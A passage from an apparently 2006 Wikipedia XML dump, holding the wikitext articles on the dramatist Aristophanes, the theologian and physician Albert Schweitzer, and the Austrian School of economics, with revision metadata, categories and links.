[[tt:9. August]]
[[te:ఆగష్టు 9]]
[[th:9 สิงหาคม]]
[[vi:9 tháng 8]]
[[tr:9 Ağustos]]
[[uk:9 серпня]]
[[wa:9 d' awousse]]
[[war:Agosto 9]]
[[zh:8月9日]]</text>
    </revision>
  </page>
  <page>
    <title>Aristophanes</title>
    <id>1028</id>
    <revision>
      <id>41173560</id>
      <timestamp>2006-02-25T15:07:01Z</timestamp>
      <contributor>
        <username>Vriullop</username>
        <id>750481</id>
      </contributor>
      <minor />
      <comment>iw +ca</comment>
      <text xml:space="preserve">[[Image:Aristophanes.jpg|thumb|Bust of Aristophanes]]
'''Aristophanes''' (c. [[448 BC]]-[[380 BC]]; [[Greek language|Greek]] ΄Αριστοφανης) was a [[Ancient Greece|Greek]] comic dramatist.

The place and even exact date of his birth are unknown, but he was probably educated in [[Athens]]. He was from the Athenian deme of Kudathenaium. He is famous for writing comedies such as ''[[The Birds (play)|The Birds]]'' for the two Athenian festivals: the [[Dionysia]] and the [[Lenea]]. He wrote forty plays, eleven of which still survive, and his plays are the only surviving examples of [[Old Attic Comedy]]. Many of his plays were [[political]], and often [[satire|satirized]] the well-known citizens of Athens and their conduct in the [[Peloponnesian War]]. He is known to have been prosecuted for Athenian law's equivalent of [[libel]] more than once. A famous comedy, ''[[The Frogs]]'', was given the unprecedented honor of a second performance.  According to a later biographer, he was also awarded a civic crown for &quot;[[The Frogs]]&quot;.

He appears in [[Plato]]'s ''[[Symposium (Plato)|Symposium]]'', giving a humorous mythical account of the origin of [[Love]]. ''[[The Clouds]],'' a disastrous production resulting in a humiliating and long-remembered (cf. the revised parabasis of &quot;[[The Clouds]]&quot; and the parabasis of next year's &quot;[[The Wasps]]&quot;) last place finish at the City Dionysia, satirizes the new, sophistic learning en vogue among the aristocracy at the time; [[Socrates]] was the principal target and in the play he emerges as a typical [[Sophist]], no matter how inaccurate the portrayal may be. ''[[Lysistrata]]'' was written during the [[Peloponnesian War]] between [[Athens]] and [[Sparta]] and presents a [[pacifism|pacifist]] theme in a comical manner: the women of the two states show off their bodies and deprive their husbands of [[sex]] until they stop fighting. This play was later illustrated at length by [[Pablo Picasso]].

==Surviving plays==
* ''[[The Acharnians]]'' ([[425 BC]])
* ''[[The Knights]]'' ([[424 BC]])
* ''[[The Clouds]]'' (Original [[423 BC]]Uncompleted revised version survives [[418-415 BC]])
* ''[[The Wasps]]'' ([[422 BC]])
* ''[[Peace (play)|Peace]]'' (first version, [[421 BC]])
* ''[[The Birds (play)|The Birds]]'' ([[414 BC]])
* ''[[Lysistrata]]'' ([[411 BC]])
* ''[[Thesmophoriazusae]]'' (&quot;The Festival Women&quot;, first version, ca.[[410 BC]])
* ''[[The Frogs]]'' ([[405 BC]])
* ''[[Assemblywomen|Ecclesiazousae]]'' (&quot;The Assemblywomen&quot;, ca.[[392 BC]])
* ''[[Plutus (play)|Plutus]]'' (&quot;Wealth&quot;, second version, [[388 BC]])

==Dated non-surviving plays==
* ''Banqueters'' ([[427 BC]])
* ''Babylonians'' ([[426 BC]])
* ''Farmers'' ([[424 BC]])
* ''Merchant Ships'' ([[423 BC]])
* ''[[The Clouds]]'' (first version) ([[423 BC]])
* ''Proagon'' ([[422 BC]])
* ''Amphiaraos'' ([[414 BC]])
* ''[[Plutus (play)|Plutus]]'' (&quot;Wealth&quot;, first version, [[408 BC]])
*  ''Gerytades'' (uncertain, probably [[407 BC]])
* ''Koskalos'' ([[387 BC]])
* ''Aiolosikon'' (second version, [[386 BC]])

==Undated non-surviving plays==
* ''Aiolosikon'' (first version)
* ''Anagyros''
* ''Broilers''
* ''Daidalos''
* ''Danaids''
* ''Dionysos Shipwrecked''
* ''Centaur''
* ''Niobos''
* ''Heroes''
* ''Islands''
* ''Lemnian Women''
* ''Old Age''
* ''Peace'' (second version)
* ''Phoenician Women''
* ''Poetry''
* ''Polyidos''
* ''Seasons''
* ''Storks''
* ''Telemessians''
* ''Triphales''
* ''[[Thesmophoriazusae]]'' (&quot;The Festival Women&quot;, second version)
* ''Women Encamping''

==See also==
*[[Agathon]]
*[[Greek literature]]
*[[2934 Aristophanes|Asteroid 2934 Aristophanes]], named after the dramatist

==External links==

*[http://www.greektexts.com/library/Aristophanes/index.html Aristophanes Texts] Biography and texts of Aristophanes
*[http://www.textkit.com/view-author/author_id/8/ The texts of Aristophanes' plays (in translation)]
* {{gutenberg author|id=Aristophanes|name=Aristophanes}}
* [http://wiktionary.org/wiki/Lopadotemachoselachogaleokranioleipsanodrimhypotrimmatosilphioparaomelitokatakechymenokichlepikossyphophattoperisteralektryonoptekephalliokigklopeleiolagoiosiraiobaphetraganopterygon Contribution to the English Language]

[[Category:448 BC births]]
[[Category:380 BC deaths]]
[[Category:Ancient Greek dramatists and playwrights]]
[[Category:Ancient Athenians]]
[[Category:Satirists|Aristophanes]]

[[bg:Аристофан]]
[[ca:Aristòfanes]]
[[da:Aristofanes]]
[[de:Aristophanes]]
[[el:Αριστοφάνης]]
[[es:Aristófanes]]
[[fr:Aristophane]]
[[ko:아리스토파네스]]
[[it:Aristofane]]
[[he:אריסטופאנס]]
[[la:Aristophanes]]
[[hu:Arisztophanész]]
[[nl:Aristophanes]]
[[ja:アリストパネス]]
[[nn:Aristofanes]]
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[[pl:Arystofanes]]
[[pt:Aristófanes]]
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[[tr:Aristofanes]]
[[uk:Арістофан]]
[[zh:阿里斯托芬]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Schweitzer</title>
    <id>1029</id>
    <revision>
      <id>41225203</id>
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      <contributor>
        <username>Dvavasour</username>
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      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">&lt;!--Image missing [[Image:Schweitzer.jpg|thumb|Albert Schweitzer]] ---&gt;
[[Image:Albert Schweitzer, Etching by Arthur William Heintzelman.jpg|thumb|200px|Albert Schweitzer, Etching by Arthur William Heintzelman]]

'''Albert Schweitzer''', [[Order of Merit|OM]], ([[January 14]], [[1875]] &amp;ndash; [[September 4]], [[1965]]) was a [[Germany|German]] [[theology|theologian]], [[musician]], [[philosopher]], and [[physician]]. He was born in [[Kaysersberg]], [[Elsass-Lothringen]], [[Germany]] (now in [[Haut-Rhin]], [[Alsace]], [[France]]).  He received the [[1952]] [[Nobel Peace Prize]] in [[1953]].

==Theology==
As a young theologian his first major work, by which he gained a great reputation, was ''The Quest of the Historical Jesus'' (1906), in which he interpreted the life of [[Jesus]] in the light of Jesus' own [[eschatology|eschatological]] convictions. He established his reputation further as a [[New Testament]] scholar by other theological studies, like ''The Mysticism of Paul the Apostle'' (1930). In these studies he examined the eschatological beliefs of Paul and through this the message of the New Testament.

During his tenure as a priest for St. Nicholas church in [[Strasbourg]], he blessed the wedding of [[Theodor Heuss]], who was to become the first [[President|President of Germany]] of the [[German Federal Republic]].

==Music==
Albert Schweitzer was a famous organist in his day, and was highly interested in the music of [[Johann Sebastian Bach]]. He developed a simple style of performance, which he thought to be closer to what Bach had meant it to be. He based his interpretation mainly on his reassessment of Bach's religious intentions. Through the book &quot;Johann Sebastian Bach&quot;, the final version of which he completed in [[1908]], he advocated this new style, which has had great influence in the way Bach's music is now being treated. Albert Schweitzer was also a famous [[organ (music)|organ]] constructor. Recordings of Schweitzer playing the music of Bach are available on CDs.

==Philosophy==
Schweitzer's worldview was based on his idea of ''Reverence for Life'', which he believed to be his greatest single contribution to humankind. His view was that Western civilization was in decay because of gradually abandoning its ethical foundations - those of affirmation of life. 

It was his firm conviction that the respect for life is the highest principle. In a similar kind of exaltation of life to that of [[Friedrich Nietzsche]], a recently influential philosopher of the time, Schweitzer admittedly followed the same line as that of the Russian [[Leo Tolstoy]]. Some people in his days compared his philosophy with that of [[Francis of Assisi]], a comparison he did not object to. In his ''Philosophy of Civilisation'' (all quotes in this section from Chapter 26 of the same book), he wrote: 

&lt;blockquote&gt;True philosophy must start from the most immediate and comprehensive fact of consciousness: 'I am life that wants to live, in the midst of life that wants to live'. &lt;/blockquote&gt;

Life and love in his view are based on, and follow out of the same principle: respect for every manifestation of Life, and a personal, spiritual relationship towards the universe. Ethics, according to Schweitzer, consists in the ''compulsion'' to show to the will-to-live of each and every being the same reverence as one does to one's own. In circumstances where we apparently fail to satisfy this compulsion should not lead us to defeatism, since the will-to-live renews itself again and again, as an outcome of an evolutionary necessity and a phenomenon with a spiritual dimension. 

However, as Schweitzer himself pointed out, it is neither impossible nor difficult to spend a life of not following it: the history of world philosophies and religions clearly shows many instances of denial of the principle of reverence for life. He points to the prevailing philosophy in the European middle ages, and the Indian Brahminic philosophy. Nevertheless, this kind of attitude lacks in genuineness. 

Since we enter the world, it offers us a horrible drama: it consists in the fact that the will to live, looked as a sum of all the individual wills, is divided against itself. One existence is antagonised against another, one destroys another. Only in the thinking being has the will to live become conscious of other will to live, and desirious of solidarity with it. This solidarity, however, cannot be brought about, because human life does not escape the puzzling and horrible circumstance that it must live at the cost of other life. But as an ethical being one strives to escape whenever possible from this necessity, and to put a stop to this disunion of the Will to live, so far as it is within one's power. 

Schweitzer advocated the concept of reverence for life widely throughout his entire life. The historical [[Age of Enlightenment|Enlightenment]] waned and corrupted itself, Schweitzer held, because it has not been well enough grounded in thought, but compulsively followed the ethical will-to live. Hence, he looked forward to a renewed and more profound [[Rennaisance]] and Enlightenment of humanity (a view he expressed in the Epilogue of his ''Out of My Life and Thought''). Albert Schweitzer nourished hope in a humankind that is more profoundly aware of its position in the Universe. His optimism was based in &quot;belief in truth&quot;. &quot;The spirit generated by [conceiving of] truth is greater than the force of circumstances.&quot; He persistently emphasized the necessity to think, rather than merely acting on basis of passing impulses or by following the most widespread opinions. 

&lt;blockquote&gt;Never for a moment do we lay aside our mistrust of the ideals established by society, and of the convictions which are kept by it in circulation. We always know that society is full of folly and will deceive us in the matter of humanity. [...] humanity meaning consideration for the existence and the happiness of individual human beings.&lt;/blockquote&gt;

Respect for life, resulting from contemplation on one's own conscious will to live, leads the individual to live in the service of other people and of every living creature.  

Schweitzer was very much respected for putting his theory into practice in his own life.

Schweitzer died in [[Gabon]], [[Africa]] after years of serving others as a physician in Africa.

==Stance on racial relations==
Schweitzer considered his work as a medical missionary in Africa to be his response
to Jesus' call to become &quot;fishers of men&quot; but also as a small 
recompense for the historic guilt of European colonizers: &quot;Who can describe the injustice and cruelties that in the course of centuries they [the coloured peoples] have suffered at the hands of Europeans? . . . If a record could be compiled of all that has happened between the white and the coloured races, it would make a book containing numbers of pages which the reader would have to turn over unread because their contents would be too horrible.&quot; [On the Edge of the Primeval Forest, p. 115].

Schweitzer was sometimes accused of being paternalistic or colonialist in his attitude towards Africans.  For instance, he thought Gabonese independence came too early, without adequate education or accommodation to local circumstances.  Edgar Berman quotes Schweitzer  speaking these lines in 1960: &quot;No society can go from the primeval directly to an industrial state without losing the leavening that time and an agricultural period allow.&quot; [In Africa With Schweitzer, p. 139]. [[Chinua Achebe]] has quoted Schweitzer as saying &quot;The African is indeed my brother but my junior brother.&quot; &lt;sup&gt;[http://social.chass.ncsu.edu/wyrick/debclass/achcon.htm]&lt;/sup&gt;, which Achebe criticized him for.

==Medicine==
Albert Schweitzer spent most of his life in Lambaréné in what is now [[Gabon]], Africa. After his medical studies in [[1913]],  he went there with his wife to establish a hospital near an already existing mission post. He treated and operated on literally thousands of people. He took care of hundreds of [[lepers|Leprosy]] and treated many victims of the African [[sleeping sickness]].

In [[1914]] [[World War I]] began and because he was a German on French territory,  Schweitzer and his wife were taken captive and temporarily confined to their house. In [[1917]] they were interned in Garaison, France, and in [[1918]] in [[Saint Remy de Provence]]. There he studied and wrote as much as possible in preparation for among others his famous book ''Culture and Ethics'' (published in [[1923]]). In July 1918 he was a free man again, and  while working as a medical assistant and assistant-pastor in [[Strasbourg]], he was able to finish the book. In the meantime he began to speak and lecture about his ideas wherever he was invited. Not only did he want his philosophy on [[culture]] and [[ethics]] to become widely known, it also served as a means to raise money for the hospital in Lambaréné, for which he had already emptied his own pockets.

In [[1924]] he returned to Lambaréné, where he managed to rebuild the decayed hospital, after which he resumed his medical practices. Soon he was no longer the only medical doctor in the hospital, and whenever possible he went to Europe to lecture at universities. Gradually his opinions and concepts became acknowledged, not only in Europe, but worldwide.

==Later life==
From [[1939]]-[[1948]] he stayed in Lambaréné, unable to go back to a Europe in war. Three years after the end of [[World War II]], in 1948, he returned for the first time to Europe and kept travelling back and forth (and once to the USA) as long as he could until his death in 1965. 

From 1952 until his death he worked against [[nuclear tests]] and [[nuclear weapon]]s with [[Albert Einstein]] and [[Bertrand Russell]] . In 1957 and 1958 he broadcast four speeches  over Radio Oslo which were published in ''Peace or Atomic War''. In 1957, Schweitzer was one of the founders of [[SANE|The Committee for a Sane Nuclear Policy]].

His life was portrayed in the 1952 movie ''Il est minuit, Docteur Schweitzer'', starring [[Pierre Fresnay]] as Albert Schweitzer and [[Jeanne Moreau]] as his nurse Marie. His cousin Anne-Marie Schweitzer Sartre was the mother of [[Jean-Paul Sartre]].

He was [[chevalier]] of the [[Order of St Lazarus|Military and Hospitaller Order of Saint Lazarus of Jerusalem]].

He died on September 4, 1965 in [[Lambaréné]], [[Gabon]].

==Selected bibliography==
*''The Decay and the Restoration of Civilization'' ([[1923]])
*''Civilization and Ethics'' ([[1923]])
*''Indian Thought and Its Development'' ([[1935]])
*''The Kingdom of God and Primitive Christianity'' (publ.[[1967]])
*''My Life and Thought'' ([[1931]]) (autobiography. according to the preface of the reviewed edition:  Henry Holt and Company, 1991, Schweitzer personally considered to be his most important book)
*''Peace or Atomic War'' 1958
*''Out of My Life and Thought: An Autobiography by Albert Schweitzer'' ISBN 0801860970
*''The Quest Of The Historical Jesus; A Critical Study Of Its Progress From Reimarus To Wrede''

==Timeline==
* [[1893]] - Studied [[Philosophy]] and [[Theology]] at the Universities of [[Strasbourg|Strassburg]], [[Berlin]] and [[Paris]]
* [[1900]] - Curate of the Church of St. Nicolas in Strassburg
* [[1901]] - Principal of the Theological Seminary in Strassburg
* [[1905]]-[[1913]] Studied medicine and surgery 
* [[1912]] - Married Helene Bresslau
* [[1913]] - Physician in Lambaréné, Africa
* [[1915]] - Developed his ethic ''Reverence for life''
* [[1917]] - Interned in France
* [[1918]] - Medical assistant and assistant-pastor in Strassburg
* [[1919]] - First major speech about ''Reverence for life'' at the [[University of Uppsala]], [[Sweden]]
* [[1919]] - Birth of daughter, Rhena
* [[1924]] - Return to Lambaréné as physician; frequent visits to Europe for speaking engagements
* [[1939]]-[[1948]] Lambaréné
* [[1949]] - Visit to the USA
* [[1948]]-[[1965]] - Lambaréné and Europe.
* [[1953]] - Nobel Peace Prize for the year 1952
* [[1957]] - [[1958]] - Four speeches against nuclear armament and tests

==See also==
*[[Christian Eschatology]]

==References and external links==
{{wikiquote}}
{{commons|Category:Albert Schweitzer}}
* ''Albert Schweitzer: a Biography''  by [[James Brabazon]] - the definitive biography
*[http://www.albertschweitzer.info/ Albert Schweitzer] - information on Albert Schweitzer's life and thought
*[http://www.albertschweitzer.org.uk/ Friends of Albert Schweitzer (UK)] - a charity promoting Reverence for Life
*[http://home.pcisys.net/~jnf/ The Albert Schweitzer Page]
*[http://www.schweitzerfellowship.org/ Albert Schweitzer Fellowship]
*[http://www1.chapman.edu/schweitzer/reverence_readings.html Readings on Reverence for Life]
*[http://medlem.spray.se/atarme/albert.html Biography information on the 1952 Nobel Peace Prize Laureate]
*[http://www.peacemakersguide.org/peace/Peacemakers/Albert-Schweitzer.htm Bruderhof Peacemakers Guide profile on Albert Schweitzer]
*[http://www.nobel.se/peace/laureates/1952/schweitzer-bio.html Page at the Nobel e-Museum]
*[http://nobelprize.org/peace/laureates/1952/press.html#not_10 Schweitzer Nobel Presentation Speech by Gunnar Jahn]
*[http://albert-schweitzer.com/ Schweitzerforlaget (Norwegian text only)]

{{Persondata
|NAME=Schweitzer, Albert
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=German theologian, musician, philosopher, and physician
|DATE OF BIRTH=[[January 14]] [[1875]]
|PLACE OF BIRTH=[[Kaysersberg]], [[Elsass-Lothringen]], [[Germany]] (now in [[Haut-Rhin]], [[Alsace]], [[France]])
|DATE OF DEATH=[[September 4]] [[1965]]
|PLACE OF DEATH=[[Lambaréné]], [[Gabon]]
}}

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[[Category:1965 deaths|Schweitzer, Albert]]
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[[Category:Humanists|Schweitzer, Albert]]
[[Category:Humanitarians]]
[[Category:Members of the Order of Merit|Schweitzer, Albert]]
[[Category:Nobel Peace Prize winners|Schweitzer, Albert]]
[[Category:Polymaths|Schweitzer, Albert]]
[[Category:Unitarian Universalists|Schweitzer, Albert]]
[[Category:Vegetarians|Schweitzer, Albert]]

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  <page>
    <title>Austrian School</title>
    <id>1030</id>
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      <id>41114897</id>
      <timestamp>2006-02-25T03:35:54Z</timestamp>
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        <ip>68.33.47.73</ip>
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      <comment>/* Major Austrian economists */</comment>
      <text xml:space="preserve">{{Template:Libertarianism}}The '''Austrian School''' is a school of [[history of economic thought|economic thought]] that rejects opposing economists' reliance on methods used in [[natural science]] for the study of human action, and instead bases its formalism of economics on relationships through logic or introspection called &quot;[[praxeology]]&quot;.

Its most famous adherents are [[Carl Menger]], [[Eugen von Böhm-Bawerk]], [[Friedrich von Wieser]], [[Ludwig von Mises]], [[Friedrich Hayek]], [[Murray Rothbard]], [[Israel Kirzner]] and [[Hans-Hermann Hoppe]]. While often controversial, and standing to some extent outside of the mainstream of neoclassical theory &amp;mdash; as well as being staunchly against much of [[John Maynard Keynes|Keynes]]' theory and its results &amp;mdash; the Austrian School has been widely influential because of its emphasis on the creative phase of economic productivity and their questioning of the basis of the behavioral theory underlying [[neoclassical economics]].

The Austrian School is generally associated with groups that label themselves [[classical liberalism|classical liberals]] or [[libertarian]] in their ideas of social, political and economic organization.

== History ==
[[Classical economics]] focused on the exchange theory of value. In late [[19th century]], however, there was a focus on the concept of the &quot;marginal&quot; cost and value. (See [[Marginalism]]).  Carl Menger's [[1871]] book, ''[[Principles of Economics]],'' is considered one of the crucial works that began the period known as [[neoclassical economics]]. While marginalism was generally influential, there was also a more specific school that grew up around Menger, which came to be known as the &quot;Vienna School&quot; or &quot;Austrian School&quot;. Austrian economics is currently closely associated with advocacy of radical ''[[laissez-faire]]'' views. However, earlier Austrian economists were more cautious compared to later economists such as [[Ludwig von Mises]], with [[Eugen von Böhm-Bawerk]] saying that he feared that unbridled free competition would lead to &quot;anarchism in production and consumption.&quot; However, the Austrian School, especially through the works of [[Friedrich Hayek]], would be influential in the revival of laissez-faire thought in the [[1980s]].

The school originated in [[Vienna]] and owes its name to members of the [[Historical School]] of [[economics]] who during the ''[[Methodenstreit]],'' where the Austrians defended the reliance that [[classical economics|classical economists]] placed on logic over observation. Their Prussian opponents derisively named them the &quot;Austrian School&quot; to emphasize a departure from mainstream German thought and to suggest a provincial approach.

Menger's contributions were closely followed by [[Eugen von Böhm-Bawerk]] and [[Friedrich von Wieser]]. [[Austria|Austrian]] economists developed a sense of themselves as a school distinct from [[neoclassical economics]] during the [[economic calculation debate]], with [[Ludwig von Mises]] and [[Friedrich von Hayek]] representing the Austrian position, where they contended that without monetary prices or private property, meaningful economic calculation was impossible. The Austrian economists were the first liberal economists to systematically challenge the [[Marxist]] school. This was partly a reaction to the ''[[Methodenstreit]]'' when they attacked the [[Georg Wilhelm Friedrich Hegel|Hegelian]] doctrines of the [[Historical School]]. Though many Marxist authors have attempted to portray the Austrian school as a ''[[bourgeois]]'' reaction to Marx, such an interpretation is untenable: Menger wrote his ''[[Principles of Economics]]'' at almost the same time as [[Karl Marx|Marx]] was completing ''[[Das Kapital]].'' The Austrian economists were, however, the first to clash directly with Marxism, since both dealt with such subjects as money, [[capital (economics)|capital]], [[business cycle|business cycles]], and economic processes. Böhm-Bawerk wrote extensive critiques of Marx in the 1880s and 1890s, and several prominent Marxists &amp;mdash; including [[Rudolf Hilferding]] &amp;mdash; attended his seminar in 1905&amp;ndash;06. In contrast, the classical economists had shown little interest in such topics, and many of them did not even gain familiarity with Marx's ideas until well into the twentieth century.

The school was no longer centered in Austria after [[Hitler]] came to power. Austrian economics was ill-thought of by most economists after [[World War II]] due to its rejection of observational methods. Its reputation has lately risen with work by students of [[Israel Kirzner]] and [[Ludwig Lachmann]], as well as an interest in Hayek after he won the [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel]]. However, it remains a distinctly minority position, even in such areas as capital value.

Austrian economics can be broken into two general trends. One, exemplified by Hayek, while distrusting of many neoclassical concepts, generally accepts their formulations, the other exemplified by the [[Ludwig von Mises Institute]], seeks a different formalism for [[economics]]. The primary areas of contention between neoclassical theory and the Austrian school are on the possibility of consumer indifference &amp;mdash; neoclassical theory says it is possible, where as Mises rejected it as being &quot;impossible to observe in practice&quot; &amp;mdash; and when Mises and his students argued that utility functions are ordinal, and not cardinal; that is, one can only rank preferences and not measure their intensity. Finally there are a host of questions about uncertainty raised by Mises and other Austrians, who argue for a different means of [[risk assessment]].

An area that is often overlooked is the influence that Austrian school ideas have had on Keynesian [[macroeconomics]]. The source of this influence is the period of time where the [[London School of Economics]] brought in Hayek and other &quot;continental&quot; economists. While their students &quot;flew the coop&quot;, refusing to join the Austrian school, many of the concepts, particularly relating time to the value of capital and its importance, would find their way into the work of Keynesians such as [[John Hicks]].  [[Alan Greenspan]], speaking of the originators of the School, said in 2000, &quot;the Austrian school have reached far into the future from when most of them practiced and have had a profound and, in my judgment, probably an irreversible effect on how most mainstream economists think in this country.&quot; The long-time U.S. Federal Reserve Chairman said he attended a seminar hosted by Ludwig von Mises. [http://www.usagold.com/gildedopinion/greenspan-gold.html]

== Analytical framework ==
Austrian economists reject observation as a tool applicable to economics, saying that while it is appropriate in the natural sciences where factors can be isolated in laboratory conditions, acting human beings are too complex for this treatment. Instead one should isolate the logical processes of human action - a discipline named &quot;[[praxeology]]&quot; by [[Ludwig von Mises]].

Austrians view [[entrepreneurship]] as the driving force in [[economic development]], see [[private property]] as essential to the efficient use of resources, and often see government interference in market processes as counterproductive.

As with neoclassical economists, Austrians reject [[classical economics|classical]] cost of production theories, most famously the [[labor theory of value]]. Instead they explain value by reference to the subjective preferences of individuals. This psychological aspect to Menger's economics has been attributed to the school's birth in turn of the century [[Vienna]]. [[Supply and demand]] are explained by aggregating over the decisions of individuals, following the precepts of [[methodological individualism]], which asserts that only individuals and not collectives make decisions, and [[marginalist]] arguments, which compare the costs and benefits for incremental changes.

Contemporary neo-Austrian economists claim to adopt [[economic subjectivism]] more consistently than any other school of economics and reject many neoclassical formalisms. For example, while neoclassical economics formalizes the economy as an [[economic equilibrium|equilibrium]] system with supply and demand in balance, Austrian economists emphasize its dynamic, perpetually dis-equilibrated nature.

The core of the Austrian framework can be summarized as taking a subjectivist approach to marginal economics, and a focus on the idea that theory should absolutely overrule observation. Austrians focus completely on the [[opportunity cost]] of goods, as opposed to balancing downside or disutility costs. It is an Austrian assertion that everyone is ''better'' off in a mutually voluntary exchange, or they would not have carried it out. A fuller explanation of this in more exact terms is [http://cepa.newschool.edu/het/essays/margrev/oppcost.htm available at the New School's economic pages].

This focus on opportunity cost alone means that their interpretation of the [[time value]] of a good has a strict relationship: since goods will be as restricted by scarcity at a later point in time as they are now, the strict relationship between investment and time must also hold. A factory making goods next year is worth as much less as the goods it is making next year are worth. This means that the business cycle is driven by miscoordination between sectors of the same economy, caused by money not carrying incentive information correct about present choices, rather than within a single economy where money causes people to make bad decisions about how to spend their time. This means, in the Austrian context, the correct way to prevent imbalances in the economy is to make people want to buy the correct goods, rather than controlling when people buy goods.

== Contributions ==
Some contributions of Austrian economists:

* A theory of distribution in which factor [[price]]s result from the [[imputation (economics)|imputation]] of prices of consumer goods to goods of &quot;higher order&quot;, that is goods used in the production of consumer goods (goods of the first order).
* An emphasis on [[opportunity cost]] and reservation demand in defining [[marginal theory of value|value]], and a refusal to consider supply as an otherwise independent cause of value. (The British economist [[Philip Wicksteed]] adopted this perspective.)
* An emphasis on the forward-looking nature of choice, seeing time as the root of uncertainty within economics (see also [[time preference]]).
* A fundamental rejection of mathematical methods in economics seeing the function of economics as investigating the essences rather than the specific quantities of economic phenomena. This was seen as an evolutionary, or &quot;genetic-causal&quot;, approach against the stresses of [[economic equilibrium|equilibrium]] and [[perfect competition]] found in mainstream Neoclassical economics (see also [[praxeology]]).
* [[Eugen von Böhm-Bawerk]]'s critique of [[Karl Marx|Marx]] centered around the untenability of the [[labor theory of value]] in the light of the [[transformation problem]]. There was also the connected argument that capitalists do not exploit workers; they accommodate workers by providing them with income well in advance of the revenue from the output they helped to produce.
* [[Eugen von Böhm-Bawerk]]'s capital theory, which equates [[capital intensity]] with the degree of [[roundaboutness]] of production processes.
* The Mises-Hayek [[business cycle]] theory, which explains depression as a reaction to an intertemporal production structure fostered by [[monetary policy]] setting [[interest rate]]s inconsistent with individual time preferences.
* Hayek's concept of [[intertemporal equilibrium]]. ([[John Hicks]] took over this theory in his discussion of temporary equilibrium in ''Value and Capital,'' a book very influential on the development of neoclassical economics after World War II.)
* Mises and Hayek's view of prices as permitting agents to make use of [[dispersed knowledge|dispersed tacit knowledge]].
* The [[time preference theory of interest]], which explains interest rates through [[intertemporal choice]] - the different time preferences of the borrower or lender - rather than as a price paid for a [[factor of production]].
* Stressing uncertainty in the making of economic decisions, rather than relying on &quot;[[Homo economicus]]&quot; or the rational man who was fully informed of all circumstances impinging on his decisions. The fact that perfect knowledge never exists, means that all economic activity implies risk.
* Seeing the entrepreneurs' role as collecting and evaluating information and acting on risks.
* The [[economic calculation debate]] between Austrian and [[Marxist]] economists, with the Austrians claiming that Marxism is flawed because prices could not be set to recognize opportunity costs of factors of production, and so [[socialism]] could not calculate best uses in the same way [[capitalism]] does.

== Major Austrian economists ==

{|
| valign=&quot;top&quot; |
* [[Benjamin Anderson]]
* [[Gérard Bramoullé]]
* [[Walter Block]]
* [[Peter Boettke]]
* '''[[Eugen von Böhm-Bawerk]]'''
* [[Gene Callahan]]
* [[Tony Carilli]]
* [[Jean-Pierre Centi]]
* [[Christopher Coyne]]
* [[Thomas DiLorenzo]]
* [[Richard Ebeling]]
* [[Frank Fetter]]
* [[Jacques Garello]]

| &lt;hspace width=&quot;40px&quot;&gt; |
| valign=&quot;top&quot; |
* [[Roger Garrison]]
* [[David Gordon]]
* '''[[Friedrich Hayek]]'''
* [[Henry Hazlitt]]
* [[Gottfried von Haberler]]
* '''[[Hans-Hermann Hoppe]]'''
* [[Steven Horwitz]]
* [[Jorg Guido Hulsmann|Jörg Guido Hülsmann]]
* [[William Harold Hutt]]
* [[Israel Kirzner]]
* [[Ludwig Lachmann]]
* [[Don Lavoie]]
* [[Peter T. Leeson]]
* [[Henri Lepage]]

| &lt;hspace width=&quot;40px&quot;&gt; |
| valign=&quot;top&quot; |
* [[Peter Lewin]]
* [[Roderick Long]]
* [[Juan De Mariana]]
* '''[[Ludwig von Mises]]'''
* [[Margit von Mises]]
* [[Luis de Molina]]
* [[Oskar Morgenstern]]
* [[Fritz Machlup]]
* '''[[Carl Menger]]'''
* [[Gerald O'Driscoll]]
* [[Ernest C. Pasour]]
* [[Ralph Raico]]

| &lt;hspace width=&quot;40px&quot;&gt; |
| valign=&quot;top&quot; |
* [[George Reisman]]
* [[Mario Rizzo]]
* [[Llewellyn Rockwell]]
* '''[[Murray Rothbard]]'''
* [[Mark Thornton]]
* [[Joseph Salerno]]
* [[Pascal Salin]]
* [[Josef Síma]]
* [[Jesus Huerta de Soto]]
* [[Richard von Strigl]]
* [[Phillip Wicksteed]]
* [[Friedrich von Wieser]]

|}

== Other related economists ==
* [[Richard Cantillon]]
* [[Frederic Bastiat]] (precursor)
* [[Henry Hazlitt]] (introduced the Austrian School to the USA)
* [[School of Salamanca]] (Renaissance precursors)
* [[Étienne Bonnot de Condillac]]
* [[Louis Say]]
* [[Jean-Baptiste Say]]
* [[Léon Walras]]
* [[Jules Dupuit]]
* [[Lionel Robbins]]
* [[Wilhelm Röpke]]
* [[Joseph Schumpeter]]
* [[Anne Robert Jacques Turgot, Baron de Laune|A.R.J. Turgot]]

== Critics ==
* [[Bryan Caplan]]

== Seminal works ==
* ''[[Principles of Economics]]'' by [[Carl Menger]]
* ''[[Capital and Interest]]'' by [[Eugen von Böhm-Bawerk]]
* ''[[The Theory of Money and Credit]]'' by [[Ludwig von Mises]]
* ''[[Socialism (book)|Socialism]]'' by [[Ludwig von Mises]]
* ''[[Human Action]]'' by [[Ludwig von Mises]]
* ''[[Man, Economy, and State]]'' by [[Murray Rothbard|Murray N. Rothbard]]
* ''[[Individualism and Economic Order]]'' by [[Friedrich Hayek]]

== See also ==
*[[Chicago school (economics)]]
*[[Classical liberalism]]
*[[Keynesian|Keynesian school]]
*[[Neoclassical economics|Neoclassical school]]
*[[Socialist economics|Socialist school]]
*[[Supply-side economics]]
*[[School of Salamanca#Economics|School of Salamanca (Renaissance pre-Austrians)]]

== External links ==
*[http://www.mises.org/etexts/austrian.asp What is Austrian Economics?] Austrian School as defined by the [[Ludwig von Mises Institute]].
*[http://www.mises.org The Mises Institute - A large selection of online books, video/audio, journal archives, and research on Austrian economics]
* [http://it.stlawu.edu/sdae Society for the Development of Austrian Economics] Largest professional organization of Austrian economists
*[http://homepage.newschool.edu/het/schools/austrian.htm Austrian School on newschool.edu] &amp;ndash; compare Austrian versus other Schools
*[http://socserv2.socsci.mcmaster.ca/~econ/ugcm/3ll3/bawerk/austrian The Austrian Economists by Eugen von Böhm-Bawerk 1891]
*[http://library.wur.nl/way/catalogue/documents/A%20Great%20Revolution%20in%20Economics.htm A Great Revolution in Economics - Vienna 1871 and after] by Houmanidis and Leen
* [http://austrianforum.com/ Austrian Economics Forum] Discussion about the Austrian school and libertarianism by economics students and professors
*[http://www.montpelerin.org/ The Mont Pelerin Society]
